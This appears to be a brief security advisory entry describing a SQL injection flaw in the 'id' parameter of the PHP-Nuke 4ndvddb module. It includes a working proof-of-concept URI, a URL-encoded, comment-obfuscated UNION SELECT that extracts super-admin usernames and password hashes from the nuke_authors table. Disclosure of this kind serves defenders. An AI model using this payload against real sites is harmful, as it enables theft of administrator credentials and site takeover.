|
PHP-Nuke 4ndvddb Module 'id' Parameter SQL Injection Vulnerability
An attacker can exploit these issues via a browser. The following proof-of-concept URI is available: http://www.example.com/modules.php?name=4ndvddb&rop=show_dvd&id=1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C0,aid,pwd,3,4,5,6,7,8,9,10%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A |
|
|
Privacy Statement |
